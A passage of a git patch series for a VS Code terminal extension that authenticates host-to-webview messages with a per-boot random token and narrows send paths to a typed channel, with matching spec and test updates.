msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'agentBrowser:popIn': @@ -480,15 +486,15 @@ export function attachRouter( { url: typeof msg.url === 'string' ? msg.url : undefined }, typeof msg.binaryPath === 'string' ? msg.binaryPath : undefined, ).then((result) => { - webview.postMessage({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); + post({ type: 'agentBrowser:popResult', requestId: msg.requestId, ...result } satisfies ExtensionMessage); }); break; case 'iframe:createProxyUrl': createIframeProxyUrl(typeof msg.url === 'string' ? msg.url : '').then( - (result) => webview.postMessage({ + (result) => post({ type: 'iframe:proxyUrl', requestId: msg.requestId, result, } satisfies ExtensionMessage), - (err) => webview.postMessage({ + (err) => post({ type: 'iframe:proxyUrl', requestId: msg.requestId, result: { ok: false, reason: 'unreachable', detail: err?.message ?? String(err) }, } satisfies ExtensionMessage), @@ -508,7 +514,7 @@ export function attachRouter( // freshly-mounted webview know what to use. const selected = options?.getSelectedShell?.(); if (selected) { - webview.postMessage({ + post({ type: 'dormouse:selectedShell', shell: selected.shell, args: selected.args, @@ -517,7 +523,7 @@ export function attachRouter( if (!reconnect) { // Fresh instance — no existing PTYs to restore - webview.postMessage({ type: 'pty:list', ptys: [] } satisfies ExtensionMessage); + post({ type: 'pty:list', ptys: [] } satisfies ExtensionMessage); break; } // Snapshot IDs owned before claiming so we can choose the right data source below @@ -567,7 +573,7 @@ export function attachRouter( id, alive: info.alive, exitCode: info.exitCode, })), }; - webview.postMessage(list); + post(list); // Send replay/scrollback data for each reconnectable PTY for (const [id] of reconnectable) { // For already-owned PTYs the replay buffer was consumed on first connect, @@ -578,14 +584,14 @@ export function attachRouter( : ptyManager.getReplayData(id); if (data) { const replay: ExtensionMessage = { type: 'pty:replay', id, data }; - webview.postMessage(replay); + post(replay); } } // Send current alert state for all reconnectable PTYs for (const [id] of reconnectable) { const alertState = alertManager.getState(id); log.info(`[alert-reconnect] ${id}: sending ${alertState.status} (todo=${alertState.todo})`); - webview.postMessage({ + post({ type: 'alert:state', id, status: alertState.status, diff --git a/vscode-ext/src/webview-html.ts b/vscode-ext/src/webview-html.ts index c5d4cea8..1c633849 100644 --- a/vscode-ext/src/webview-html.ts +++ b/vscode-ext/src/webview-html.ts @@ -2,6 +2,8 @@ import * as vscode from 'vscode'; import * as path from 'path'; import * as fs from 'fs'; import { randomBytes } from 'crypto'; +import { HOST_MESSAGE_TOKEN_GLOBAL } from '../../lib/src/lib/vscode-message-token'; +import { mintWebviewMessageToken } from './webview-messaging'; function serializeForInlineScript(value: unknown): string { return JSON.stringify(value ?? null) @@ -21,6 +23,10 @@ export function getWebviewHtml( const mediaUri = webview.asWebviewUri(vscode.Uri.file(mediaPath)); const nonce = getNonce(); + // Separate secret from the nonce above: the nonce authorizes script + // execution, this authenticates the sender of every host → webview message so + // framed content can't forge one (lib/src/lib/vscode-message-token.ts). + const messageToken = mintWebviewMessageToken(webview); html = html.replace(/(href|src)="\.?\/?assets\//g, `$1="${mediaUri}/assets/`); @@ -54,7 +60,7 @@ export function getWebviewHtml( // get a duplicate nonce attribute from the regex above. html = html.replace( '', - ` \n `, + ` \n `, ); return html; diff --git a/vscode-ext/src/webview-messaging.ts b/vscode-ext/src/webview-messaging.ts new file mode 100644 index 00000000..992ab0a4 --- /dev/null +++ b/vscode-ext/src/webview-messaging.ts @@ -0,0 +1,49 @@ +import * as vscode from 'vscode'; +import { randomBytes } from 'crypto'; +import { HOST_MESSAGE_TOKEN_FIELD } from '../../lib/src/lib/vscode-message-token'; +import type { ExtensionMessage } from './message-types'; +import { log } from './log'; + +/** + * Per-boot message tokens, keyed by the webview they were minted for. + * + * Minted by `getWebviewHtml` (the one place that builds a webview document) and + * read back here, so a token can never drift from the document that carries it: + * re-serving a webview's HTML mints a new token and replaces the old entry, and + * a disposed webview drops out on its own. See `docs/specs/vscode.md` → + * "Webview message authentication" and `lib/src/lib/vscode-message-token.ts` + * for the trust model. + */ +const tokens = new WeakMap(); + +/** + * Mint and record this webview's message token. Called once per document, from + * `getWebviewHtml`, which injects the returned value into the page. + * + * Same reasoning as the CSP nonce next to it: a guessable token is not a token, + * so it comes from the OS CSPRNG. 24 bytes of base64url is 32 characters. + */ +export function mintWebviewMessageToken(webview: vscode.Webview): string { + const token = randomBytes(24).toString('base64url'); + tokens.set(webview, token); + return token; +} + +/** + * Post a message to a webview, stamped with its token. + * + * Every host → webview send must go through here; the webview drops anything + * unstamped. A send to a webview that was never served through `getWebviewHtml` + * has no token to stamp, so it is dropped with a log line and reported as + * undelivered — the same `false` the VS Code API returns for a dead webview, + * which the retry/reject paths in `extension.ts` and `forwardDorControlRequest` + * already handle. + */ +export function postToWebview(webview: vscode.Webview, message: ExtensionMessage): Thenable { + const token = tokens.get(webview); + if (!token) { + log.error(`[messaging] dropping ${message.type}: webview has no message token`); + return Promise.resolve(false); + } + return webview.postMessage({ ...message, [HOST_MESSAGE_TOKEN_FIELD]: token }); +} diff --git a/vscode-ext/src/webview-view-provider.ts b/vscode-ext/src/webview-view-provider.ts index 5f434433..9175b81a 100644 --- a/vscode-ext/src/webview-view-provider.ts +++ b/vscode-ext/src/webview-view-provider.ts @@ -2,6 +2,7 @@ import * as vscode from 'vscode'; import * as path from 'path'; import { attachRouter, getAlertStates } from './message-router'; import { getWebviewHtml } from './webview-html'; +import { postToWebview } from './webview-messaging'; import { getSavedSessionState, saveSessionState, mergeAlertStates } from './session-state'; import type { ExtensionMessage } from './message-types'; import * as ptyManager from './pty-manager'; @@ -18,7 +19,9 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { constructor(private readonly context: vscode.ExtensionContext) {} postMessage(msg: ExtensionMessage): Thenable { - return this.view?.webview.postMessage(msg) ?? Promise.resolve(false); + // Stamped with the view's message token like every other host → webview + // send (docs/specs/vscode.md → "Webview message authentication"). + return this.view ? postToWebview(this.view.webview, msg) : Promise.resolve(false); } setDescription(text: string | undefined): void { From 51acdd17c6651b04043fc89594bc6f9ff8c1b273 Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 18:44:12 -0700 Subject: [PATCH 2/6] security(vscode): make the message-token invariant a type error to break MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-up cleanup on the per-boot token. The rule "every host to webview send carries the token" was held up only by a spec bullet while attachRouter still took a raw vscode.Webview, so webview.postMessage stayed a valid expression at the exact site where all 31 sends live. - Add WebviewChannel (post + onDidReceiveMessage) and narrow attachRouter to it. Bypassing the stamp no longer compiles. - serveWebview mints, assigns webview.html, and returns the channel as one step, so a token cannot drift from its document. This also closes the window in resolveWebviewView where a background applyShell could post to a view whose HTML was not yet assigned. - Drop the WeakMap, the tokenless-drop branch, and its log.error — with the token captured in the channel closure that state is unreachable. It had been reclassifying a wiring bug as "webview is dead", which the newTerminal retry loop reports as misleading user-facing advice. - One randomSecret() for both the CSP nonce and the message token instead of two copies of randomBytes(24).toString('base64url'). - Shrink the globalThis cast in readHostMessageToken, drop rationale paragraphs that were verbatim copies of the spec, and remove a dead test dispatch (with a null token the guard returns before reading the envelope). Co-Authored-By: Claude Opus 5 (1M context) --- docs/specs/vscode.md | 13 ++-- lib/src/lib/platform/vscode-adapter.test.ts | 17 ++---- lib/src/lib/platform/vscode-adapter.ts | 9 +-- lib/src/lib/vscode-message-token.ts | 13 +--- vscode-ext/src/extension.ts | 6 +- vscode-ext/src/message-router.ts | 14 ++--- vscode-ext/src/webview-html.ts | 28 +++++---- vscode-ext/src/webview-messaging.ts | 66 +++++++++------------ vscode-ext/src/webview-view-provider.ts | 15 ++--- 9 files changed, 82 insertions(+), 99 deletions(-) diff --git a/docs/specs/vscode.md b/docs/specs/vscode.md index 1173a46b..519dbf3a 100644 --- a/docs/specs/vscode.md +++ b/docs/specs/vscode.md @@ -22,7 +22,7 @@ Extension Host (vscode-ext/src/) ├── agent-browser-host.ts — extension-host wiring + stream relay for the agent-browser surface ├── iframe-proxy-host.ts — VS Code binding for the iframe transparent proxy (injects the logger) ├── webview-html.ts — CSP injection, nonce + message-token generation, asset URI rewriting -├── webview-messaging.ts — per-webview message tokens; the single host → webview send path +├── webview-messaging.ts — serveWebview: pairs a document with its message token, returns the WebviewChannel └── log.ts — extension logging Shared PTY Core (standalone/sidecar/) @@ -77,7 +77,7 @@ Universal PTY/transport invariants live in `docs/specs/transport.md`. The rules - **mergeAlertStates on every save path.** Both the frontend periodic save (`onSaveState` callback) and the backend deactivate refresh (`refreshSavedSessionStateFromPtys`) must merge current alert states. Missing this causes alert state to revert on restore. - **retainContextWhenHidden.** Set on both `WebviewPanel` (editor tabs) and `WebviewView` (bottom panel) so that xterm.js DOM, scrollback, and PTY subscriptions survive panel hide/show without going through a resume. - **Two save sources.** Session state is saved from two places: the frontend (debounced 500ms + 30s interval via `dormouse:saveState`) and the backend (deactivate flushes webviews then refreshes from live PTYs). Both paths must produce consistent state. -- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Adding a send path that bypasses `postToWebview` breaks that message (visibly — it is simply ignored); adding a `message` listener that skips `isHostMessage` reopens the forgery hole. See "Webview message authentication" below. +- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Host code holds a `WebviewChannel`, never a `vscode.Webview`, so bypassing the stamp is a type error rather than a convention to remember; adding a `message` listener that skips `isHostMessage` still reopens the forgery hole. See "Webview message authentication" below. - **Workbench keybindings mirror for selected chords.** `lib/src/lib/vscode-keybindings.ts` is the source of truth for the VS Code-hosted mirror allowlist. For `Ctrl/Cmd+P`, `Ctrl/Cmd+Shift+P`, `Ctrl/Cmd+B`, and `F1`, xterm still processes the key while the webview also posts `dormouse:runWorkbenchCommand`; `message-router.ts` validates that request against the same small command set before calling `vscode.commands.executeCommand`. ### Extension manifest (current) @@ -202,7 +202,7 @@ TUIs query the terminal's foreground/background/cursor colors with `OSC 10/11/12 ### CSP policy -Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`getNonce()` + the directive list). +Source of truth: `vscode-ext/src/webview-html.ts` assembles the CSP directives (`randomSecret()` + the directive list). `unsafe-inline` for styles is needed because VS Code injects theme CSS variables via inline styles on the body element. Scripts remain nonce-gated, with a fresh per-render nonce of 24 CSPRNG bytes (`node:crypto` `randomBytes`) base64url-encoded to 32 characters — a nonce that is guessable is a nonce that is not there, so `Math.random()` is not acceptable here. The webview HTML is built by Vite from the `lib` package, then at runtime `webview-html.ts` rewrites asset URLs to webview URIs, injects the CSP meta tag, applies nonces to all script tags, and injects initial state via a nonce-gated inline script. @@ -212,8 +212,9 @@ The CSP governs what the webview document may *load*. It says nothing about who So host-originated messages are authenticated by a **per-boot message token**: -- `getWebviewHtml` mints one token per webview document — 24 CSPRNG bytes, base64url, minted by `mintWebviewMessageToken` — and injects it as `globalThis.__DORMOUSE_MESSAGE_TOKEN__` in the same nonce-gated inline script that seeds the other `__DORMOUSE_*` globals. Re-serving a webview's HTML mints a new token; tokens are held in a `WeakMap` keyed by `vscode.Webview`, so they follow webview lifetime with no cleanup. -- **Every** host → webview send goes through `postToWebview`, which stamps the message with that webview's token. `attachRouter` exposes it as a local `post()` (all router sends use it) and `DormouseViewProvider.postMessage` routes through it. A send to a webview with no minted token is dropped and reported as undelivered (`false`) — the same signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle. +- `getWebviewHtml` mints one token per webview document — 24 CSPRNG bytes, base64url, from the same `randomSecret()` as the CSP nonce — injects it as `globalThis.__DORMOUSE_MESSAGE_TOKEN__` in the same nonce-gated inline script that seeds the other `__DORMOUSE_*` globals, and returns it alongside the HTML because the two are only meaningful together. +- `serveWebview` is the only way to put a document on a webview: it mints, assigns `webview.html`, and returns a `WebviewChannel` whose `post()` closes over that document's token. Minting and serving are therefore one step — a token cannot drift from the document carrying it, and re-serving yields a new token and a new channel. Nothing holds a token keyed by webview identity, so there is no cleanup. +- **Every** host → webview send goes through a channel. `attachRouter` takes a `WebviewChannel` (not a `vscode.Webview`) and exposes `post()` as a local; `DormouseViewProvider` stores its channel and `postMessage` forwards to it, returning `false` before the view is served or after it disposes — the same undelivered signal the VS Code API gives for a dead webview, which the `dormouse:newTerminal` retry loop and `forwardDorControlRequest`'s rejection path already handle. - `VSCodeAdapter` captures the token **once, at construction**, and both of its `message` listeners — the main dispatcher and the per-request reply listener inside `requestResponse` — call `isHostMessage(event.data, token)` before reading anything else, including `type`. Why a token rather than checking `event.source`/`event.origin`: a source check would have to assert something about VS Code's internal webview frame topology, which is undocumented and can change between releases. A token depends on nothing but itself. It is deliberately **not** the CSP nonce — that nonce authorizes script execution, this token authenticates a message sender; conflating them makes both harder to reason about, and the nonce appears in markup the page can read. @@ -224,7 +225,7 @@ This is the same shape as the origin check the Wall already applies to messages Scope is VS Code. The standalone adapters receive the equivalent events over Tauri's `listen()` IPC and the dev harness's host WebSocket (`docs/specs/standalone.md`, `docs/specs/transport.md`), never `window.postMessage`, so they have no forgeable inbox to guard. -Source of truth: `lib/src/lib/vscode-message-token.ts` (constants + `isHostMessage`), `vscode-ext/src/webview-messaging.ts` (mint + `postToWebview`), `vscode-ext/src/webview-html.ts` (injection), `lib/src/lib/platform/vscode-adapter.ts` (both guards). Tests: the `host message authentication` block in `lib/src/lib/platform/vscode-adapter.test.ts`. +Source of truth: `lib/src/lib/vscode-message-token.ts` (constants + `isHostMessage`), `vscode-ext/src/webview-messaging.ts` (`WebviewChannel` + `serveWebview`), `vscode-ext/src/webview-html.ts` (mint + injection), `lib/src/lib/platform/vscode-adapter.ts` (both guards). Tests: the `host message authentication` block in `lib/src/lib/platform/vscode-adapter.test.ts`. ### Build and development diff --git a/lib/src/lib/platform/vscode-adapter.test.ts b/lib/src/lib/platform/vscode-adapter.test.ts index 63a40aa2..2611fc8d 100644 --- a/lib/src/lib/platform/vscode-adapter.test.ts +++ b/lib/src/lib/platform/vscode-adapter.test.ts @@ -38,9 +38,9 @@ const HOST_TOKEN = 'test-host-message-token'; * token stamp `postToWebview` adds. Framed content can't read the token, so a * forged message is just this without the stamp. */ -function hostMessage(data: Record): MessageEvent { +function hostMessage(data: Record, token: unknown = HOST_TOKEN): MessageEvent { return new MessageEvent('message', { - data: { ...data, [HOST_MESSAGE_TOKEN_FIELD]: HOST_TOKEN }, + data: { ...data, [HOST_MESSAGE_TOKEN_FIELD]: token }, }); } @@ -264,10 +264,8 @@ describe('VSCodeAdapter PTY exit handling', () => { }]); }); - // A webview's window receives `parent.postMessage` from every framed surface - // (`dor iframe`, agent-browser), so "arrived as a message event" is not - // evidence the extension host sent it. See docs/specs/vscode.md → "Webview - // message authentication". + // "Arrived as a message event" is not evidence the extension host sent it. + // See ../vscode-message-token.ts. describe('host message authentication', () => { /** What framed content can produce: the right shape, no token. */ function forgedMessage(data: Record): MessageEvent { @@ -344,9 +342,7 @@ describe('VSCodeAdapter PTY exit handling', () => { const exits: unknown[] = []; adapter.onPtyExit((detail) => exits.push(detail)); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'pty:exit', id: 'pane-1', exitCode: 7, [HOST_MESSAGE_TOKEN_FIELD]: 'guessed' }, - })); + windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 }, 'guessed')); expect(exits).toEqual([]); }); @@ -376,9 +372,6 @@ describe('VSCodeAdapter PTY exit handling', () => { adapter.onPtyExit((detail) => exits.push(detail)); windowTarget.dispatchEvent(hostMessage({ type: 'pty:exit', id: 'pane-1', exitCode: 7 })); - windowTarget.dispatchEvent(new MessageEvent('message', { - data: { type: 'pty:exit', id: 'pane-1', exitCode: 7, [HOST_MESSAGE_TOKEN_FIELD]: undefined }, - })); expect(exits).toEqual([]); }); diff --git a/lib/src/lib/platform/vscode-adapter.ts b/lib/src/lib/platform/vscode-adapter.ts index 26c5ec89..9858bc39 100644 --- a/lib/src/lib/platform/vscode-adapter.ts +++ b/lib/src/lib/platform/vscode-adapter.ts @@ -64,11 +64,8 @@ export class VSCodeAdapter implements PlatformAdapter { onTerminalThemeChange(() => this.pushThemeColors()); window.addEventListener('message', (event: MessageEvent) => { - // A webview's window also receives `parent.postMessage` from any framed - // surface (`dor iframe`, agent-browser), and several branches below turn - // a message into a PTY write or terminal state. Authenticate the sender - // before looking at `type` at all — see docs/specs/vscode.md → "Webview - // message authentication". + // Authenticate the sender before looking at `type` at all — see + // ../vscode-message-token.ts. if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; if (!msg.type) return; @@ -177,7 +174,7 @@ export class VSCodeAdapter implements PlatformAdapter { // a forged one racing the real reply would win on first match. if (!isHostMessage(event.data, this.hostMessageToken)) return; const msg = event.data; - if (msg?.type === responseType && msg.requestId === requestId) { + if (msg.type === responseType && msg.requestId === requestId) { clearTimeout(timeout); window.removeEventListener('message', handler); resolve(extract(msg)); diff --git a/lib/src/lib/vscode-message-token.ts b/lib/src/lib/vscode-message-token.ts index 48c2fc79..3f072e12 100644 --- a/lib/src/lib/vscode-message-token.ts +++ b/lib/src/lib/vscode-message-token.ts @@ -15,13 +15,8 @@ * cannot read the parent's globals across origins, so it cannot produce the * token, and the adapter drops anything that doesn't carry it. * - * This is the same shape as `iframe-proxy-registry.ts` — a tiny module holding - * the trust criterion so the listener stays a one-line guard — but keyed on an - * unguessable secret rather than an origin, because the VS Code host's internal - * frame topology is not something the webview can verify. - * - * Deliberately not the CSP nonce: that one authorizes script execution, this - * one authenticates a message sender. Separate purposes, separate secrets. + * The spec section above covers why a token rather than an `event.source` / + * `event.origin` check, and why this is not the CSP nonce. */ /** Global the host injects the per-boot token into. */ @@ -36,9 +31,7 @@ export const HOST_MESSAGE_TOKEN_FIELD = '__dormouseToken'; * webview served without a token fails closed rather than open. */ export function readHostMessageToken(): string | null { - const raw = (globalThis as typeof globalThis & { - __DORMOUSE_MESSAGE_TOKEN__?: unknown; - })[HOST_MESSAGE_TOKEN_GLOBAL]; + const raw = (globalThis as unknown as Record)[HOST_MESSAGE_TOKEN_GLOBAL]; return typeof raw === 'string' && raw.length > 0 ? raw : null; } diff --git a/vscode-ext/src/extension.ts b/vscode-ext/src/extension.ts index 5782777c..91bcad2a 100644 --- a/vscode-ext/src/extension.ts +++ b/vscode-ext/src/extension.ts @@ -4,7 +4,7 @@ import * as ptyManager from './pty-manager'; import { DormouseViewProvider } from './webview-view-provider'; import { attachRouter, flushAllSessions, getAlertStates } from './message-router'; import { closePoppedOutSessions } from './agent-browser-host'; -import { getWebviewHtml } from './webview-html'; +import { serveWebview } from './webview-messaging'; import { log } from './log'; import { mergeAlertStates, refreshSavedSessionStateFromPtys } from './session-state'; import { readPersistedSession } from '../../lib/src/lib/session-types'; @@ -47,9 +47,9 @@ function setupPanel( light: vscode.Uri.file(path.join(context.extensionPath, 'icon-tiny-light.png')), dark: vscode.Uri.file(path.join(context.extensionPath, 'icon-tiny-dark.png')), }; - panel.webview.html = getWebviewHtml(panel.webview, mediaPath, initialState, getSelectedShell?.()); + const channel = serveWebview(panel.webview, mediaPath, initialState, getSelectedShell?.()); - const router = attachRouter(panel.webview, { + const router = attachRouter(channel, { reconnect: !!savedState, killOnDispose: true, savedSession: readPersistedSession(initialState), diff --git a/vscode-ext/src/message-router.ts b/vscode-ext/src/message-router.ts index b9aacc05..39d16c39 100644 --- a/vscode-ext/src/message-router.ts +++ b/vscode-ext/src/message-router.ts @@ -22,7 +22,7 @@ import type { DorControlRequest } from './pty-manager'; import { createStreamRelayUrl, runAgentBrowserCommand, runAgentBrowserEdit, runAgentBrowserOpen, runAgentBrowserPopIn, runAgentBrowserPopOut, runAgentBrowserScreenshot, runAgentBrowserStreamStatus } from './agent-browser-host'; import { createIframeProxyUrl } from './iframe-proxy-host'; import { log } from './log'; -import { postToWebview } from './webview-messaging'; +import type { WebviewChannel } from './webview-messaging'; const clipboardOps = require('../../lib/clipboard-ops.cjs') as { readClipboardFilePaths(): Promise; @@ -148,7 +148,7 @@ export async function flushAllSessions(timeoutMs = 1000): Promise { } export function attachRouter( - webview: vscode.Webview, + channel: WebviewChannel, options?: { reconnect?: boolean; killOnDispose?: boolean; @@ -164,10 +164,10 @@ export function attachRouter( const reconnect = options?.reconnect ?? false; const killOnDispose = options?.killOnDispose ?? false; - // Every host → webview send goes through here so it carries this webview's - // message token; the webview drops anything unstamped. See - // docs/specs/vscode.md → "Webview message authentication". - const post = (message: ExtensionMessage): Thenable => postToWebview(webview, message); + // The router's only send path — it stamps this webview's message token, which + // the webview requires (docs/specs/vscode.md → "Webview message + // authentication"). A raw `vscode.Webview` never reaches this scope. + const post = (message: ExtensionMessage): Thenable => channel.post(message); // Track which PTY IDs were spawned (or reconnected) through this webview const ownedPtyIds = new Set(); @@ -321,7 +321,7 @@ export function attachRouter( } // Route webview messages to the PTY manager - const messageDisposable = webview.onDidReceiveMessage((msg: WebviewMessage) => { + const messageDisposable = channel.onDidReceiveMessage((msg: WebviewMessage) => { switch (msg.type) { case 'pty:spawn': { claim(msg.id); diff --git a/vscode-ext/src/webview-html.ts b/vscode-ext/src/webview-html.ts index 1c633849..b8ac23b7 100644 --- a/vscode-ext/src/webview-html.ts +++ b/vscode-ext/src/webview-html.ts @@ -3,7 +3,6 @@ import * as path from 'path'; import * as fs from 'fs'; import { randomBytes } from 'crypto'; import { HOST_MESSAGE_TOKEN_GLOBAL } from '../../lib/src/lib/vscode-message-token'; -import { mintWebviewMessageToken } from './webview-messaging'; function serializeForInlineScript(value: unknown): string { return JSON.stringify(value ?? null) @@ -12,21 +11,27 @@ function serializeForInlineScript(value: unknown): string { .replace(/\u2029/g, '\\u2029'); } +/** + * Build a webview document. Returns the message token minted for it alongside + * the HTML, because the two are only meaningful together — `serveWebview` in + * `webview-messaging.ts` is what pairs them. + */ export function getWebviewHtml( webview: vscode.Webview, mediaPath: string, initialState?: unknown, selectedShell?: { shell?: string; args?: string[] } | null, -): string { +): { html: string; messageToken: string } { const indexPath = path.join(mediaPath, 'index.html'); let html = fs.readFileSync(indexPath, 'utf-8'); const mediaUri = webview.asWebviewUri(vscode.Uri.file(mediaPath)); - const nonce = getNonce(); - // Separate secret from the nonce above: the nonce authorizes script - // execution, this authenticates the sender of every host → webview message so - // framed content can't forge one (lib/src/lib/vscode-message-token.ts). - const messageToken = mintWebviewMessageToken(webview); + const nonce = randomSecret(); + // A separate secret from the nonce above, deliberately: the nonce authorizes + // script execution, this authenticates the sender of every host → webview + // message so framed content can't forge one. See + // lib/src/lib/vscode-message-token.ts. + const messageToken = randomSecret(); html = html.replace(/(href|src)="\.?\/?assets\//g, `$1="${mediaUri}/assets/`); @@ -63,13 +68,14 @@ export function getWebviewHtml( ` \n `, ); - return html; + return { html, messageToken }; } /** - * A CSP nonce is only as good as its unpredictability, so it comes from the - * OS CSPRNG — never `Math.random()`. 24 bytes of base64url is 32 characters. + * One per-document secret: a CSP nonce or a message token. Either is only as + * good as its unpredictability, so both come from the OS CSPRNG — never + * `Math.random()`. 24 bytes of base64url is 32 characters. */ -function getNonce(): string { +function randomSecret(): string { return randomBytes(24).toString('base64url'); } diff --git a/vscode-ext/src/webview-messaging.ts b/vscode-ext/src/webview-messaging.ts index 992ab0a4..386b5bf2 100644 --- a/vscode-ext/src/webview-messaging.ts +++ b/vscode-ext/src/webview-messaging.ts @@ -1,49 +1,41 @@ import * as vscode from 'vscode'; -import { randomBytes } from 'crypto'; import { HOST_MESSAGE_TOKEN_FIELD } from '../../lib/src/lib/vscode-message-token'; +import { getWebviewHtml } from './webview-html'; import type { ExtensionMessage } from './message-types'; -import { log } from './log'; /** - * Per-boot message tokens, keyed by the webview they were minted for. - * - * Minted by `getWebviewHtml` (the one place that builds a webview document) and - * read back here, so a token can never drift from the document that carries it: - * re-serving a webview's HTML mints a new token and replaces the old entry, and - * a disposed webview drops out on its own. See `docs/specs/vscode.md` → - * "Webview message authentication" and `lib/src/lib/vscode-message-token.ts` - * for the trust model. - */ -const tokens = new WeakMap(); - -/** - * Mint and record this webview's message token. Called once per document, from - * `getWebviewHtml`, which injects the returned value into the page. - * - * Same reasoning as the CSP nonce next to it: a guessable token is not a token, - * so it comes from the OS CSPRNG. 24 bytes of base64url is 32 characters. + * The host's handle on a served webview. `serveWebview` returns one of these + * *instead of* the `vscode.Webview`, so `post` is the only send path a caller + * has — the "every send carries the token" rule is a type error to break rather + * than a convention to remember. See `docs/specs/vscode.md` → "Webview message + * authentication" and `lib/src/lib/vscode-message-token.ts` for the trust model. */ -export function mintWebviewMessageToken(webview: vscode.Webview): string { - const token = randomBytes(24).toString('base64url'); - tokens.set(webview, token); - return token; +export interface WebviewChannel { + /** Send to the webview, stamped with the token its document was served with. */ + post(message: ExtensionMessage): Thenable; + onDidReceiveMessage: vscode.Webview['onDidReceiveMessage']; } /** - * Post a message to a webview, stamped with its token. + * Serve a webview its document and return the channel for talking to it. * - * Every host → webview send must go through here; the webview drops anything - * unstamped. A send to a webview that was never served through `getWebviewHtml` - * has no token to stamp, so it is dropped with a log line and reported as - * undelivered — the same `false` the VS Code API returns for a dead webview, - * which the retry/reject paths in `extension.ts` and `forwardDorControlRequest` - * already handle. + * Minting, injecting, and assigning the HTML happen together here so a token + * can never drift from the document that carries it: re-serving mints a new + * token and yields a new channel, and there is no way to obtain a sender for a + * webview that was never served. */ -export function postToWebview(webview: vscode.Webview, message: ExtensionMessage): Thenable { - const token = tokens.get(webview); - if (!token) { - log.error(`[messaging] dropping ${message.type}: webview has no message token`); - return Promise.resolve(false); - } - return webview.postMessage({ ...message, [HOST_MESSAGE_TOKEN_FIELD]: token }); +export function serveWebview( + webview: vscode.Webview, + mediaPath: string, + initialState?: unknown, + selectedShell?: { shell?: string; args?: string[] } | null, +): WebviewChannel { + const { html, messageToken } = getWebviewHtml(webview, mediaPath, initialState, selectedShell); + webview.html = html; + + return { + // Spread rather than mutate: callers own the message they passed in. + post: (message) => webview.postMessage({ ...message, [HOST_MESSAGE_TOKEN_FIELD]: messageToken }), + onDidReceiveMessage: webview.onDidReceiveMessage.bind(webview), + }; } diff --git a/vscode-ext/src/webview-view-provider.ts b/vscode-ext/src/webview-view-provider.ts index 9175b81a..ea55019f 100644 --- a/vscode-ext/src/webview-view-provider.ts +++ b/vscode-ext/src/webview-view-provider.ts @@ -1,8 +1,7 @@ import * as vscode from 'vscode'; import * as path from 'path'; import { attachRouter, getAlertStates } from './message-router'; -import { getWebviewHtml } from './webview-html'; -import { postToWebview } from './webview-messaging'; +import { serveWebview, type WebviewChannel } from './webview-messaging'; import { getSavedSessionState, saveSessionState, mergeAlertStates } from './session-state'; import type { ExtensionMessage } from './message-types'; import * as ptyManager from './pty-manager'; @@ -12,6 +11,9 @@ import { log } from './log'; export class DormouseViewProvider implements vscode.WebviewViewProvider { private view: vscode.WebviewView | undefined; + // Set once the view has been served a document; until then there is nothing + // to talk to, and `postMessage` reports undelivered like a disposed view. + private channel: WebviewChannel | undefined; private routerDisposable: vscode.Disposable | undefined; private description: string | undefined; private selectedShell: { shell?: string; args?: string[] } | null = null; @@ -19,9 +21,7 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { constructor(private readonly context: vscode.ExtensionContext) {} postMessage(msg: ExtensionMessage): Thenable { - // Stamped with the view's message token like every other host → webview - // send (docs/specs/vscode.md → "Webview message authentication"). - return this.view ? postToWebview(this.view.webview, msg) : Promise.resolve(false); + return this.channel?.post(msg) ?? Promise.resolve(false); } setDescription(text: string | undefined): void { @@ -71,10 +71,10 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { } const savedSession = getSavedSessionState(this.context); - view.webview.html = getWebviewHtml(view.webview, mediaPath, savedSession, this.selectedShell); + this.channel = serveWebview(view.webview, mediaPath, savedSession, this.selectedShell); this.routerDisposable?.dispose(); - this.routerDisposable = attachRouter(view.webview, { + this.routerDisposable = attachRouter(this.channel, { reconnect: true, savedSession, onSaveState: (state) => { @@ -95,6 +95,7 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { log.info('[view] onDidDispose fired — releasing router (PTYs remain alive)'); this.routerDisposable?.dispose(); this.routerDisposable = undefined; + this.channel = undefined; this.view = undefined; }); } From bf121e96c3fa6ff508ba821f1bcfb2e979cf207c Mon Sep 17 00:00:00 2001 From: Ned Twigg Date: Sat, 15 Aug 2026 18:53:02 -0700 Subject: [PATCH 3/6] Update docs/specs/vscode.md Co-authored-by: dormouse-bot --- docs/specs/vscode.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/specs/vscode.md b/docs/specs/vscode.md index 519dbf3a..60266f63 100644 --- a/docs/specs/vscode.md +++ b/docs/specs/vscode.md @@ -77,7 +77,7 @@ Universal PTY/transport invariants live in `docs/specs/transport.md`. The rules - **mergeAlertStates on every save path.** Both the frontend periodic save (`onSaveState` callback) and the backend deactivate refresh (`refreshSavedSessionStateFromPtys`) must merge current alert states. Missing this causes alert state to revert on restore. - **retainContextWhenHidden.** Set on both `WebviewPanel` (editor tabs) and `WebviewView` (bottom panel) so that xterm.js DOM, scrollback, and PTY subscriptions survive panel hide/show without going through a resume. - **Two save sources.** Session state is saved from two places: the frontend (debounced 500ms + 30s interval via `dormouse:saveState`) and the backend (deactivate flushes webviews then refreshes from live PTYs). Both paths must produce consistent state. -- **Every host → webview send carries the message token.** The webview's `window` is a shared inbox that framed surfaces can also post to, so the adapter drops any `message` that isn't stamped with the per-boot token. Host code holds a `WebviewChannel`, never a `vscode.Webview`, so bypassing the 